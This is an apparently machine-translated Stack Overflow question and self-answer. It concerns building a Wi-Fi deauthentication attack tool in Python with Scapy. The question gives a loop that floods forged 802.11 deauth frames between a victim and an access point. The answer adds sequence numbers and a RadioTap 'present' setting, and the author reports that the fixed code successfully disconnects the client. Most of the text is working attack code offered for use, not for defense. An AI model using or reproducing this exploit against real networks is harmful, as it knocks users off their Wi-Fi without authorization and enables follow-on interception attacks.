我试着写一个工具来做简单的攻击。这是我的在制品代码:
from scapy.all import *
from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
from time import sleep
AP_MAC = 'THE_VICTIM_MAC'
VICTIM_MAC = "THE_AP_MAC"
interface = "MY_INTERFACE_NAME"
def produce_deauth_pair(victim_mac: str, ap_mac: str) -> Tuple[RadioTap, RadioTap]:
return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))
for n in range(1000):
one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
sendp([one, two], iface=interface, verbose=False)
print(f"{n}/1000")主要问题是,它没有成功地导致受害者计算机上的授权被取消。我使用aireplay-ng发起了一次deauth攻击,比较了wireshark中的流量,我可以看到我的流量和它们的流量之间的主要区别是使用递增序列号(SN),而我的流量则停留在0。
他们的:

不过,我不知道如何指定序列号。我搜索了整个dot11.py替罪羊源文件,唯一能找到的对“序列号”的引用是在Dot11Auth中,这似乎不对。
如何指定序列号?
发布于 2021-03-07 19:42:57
结果,这更像是我误解了802.11。通过维基百科读取
序列控制字段是一个两个字节的部分,用于识别消息顺序以及消除重复帧。前4位用于碎片编号,最后12位为序列号。
因此,它实际上被捆绑在Dot11的Dot11字段中。
我编写了一个简单的函数来从片段号和序列号生成SC值:
def produce_sc(frag: int, seq: int) -> int:
return (seq << 4) + frag其结果可以简单地插入:
RadioTap() \
/ Dot11(addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=produce_sc(0, 123)) \ # Here
/ Dot11Deauth(reason=7)不幸的是,这种方法仍然不起作用,但至少我排除了这个原因。
我最初的问题是RadioTap头需要一个present参数:
def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
sc = produce_sc(0, seq_num)
return RadioTap(present="Rate+TXFlags") / \
Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
Dot11Deauth(reason=reason)这对我来说没有任何意义,因为我认为RadioTap报头是天线在捕获过程中注意到的情况的指示,不是在发送时可以指定的,而是。这成功地取消了客户端的权限。
https://stackoverflow.com/questions/66520672
复制相似问题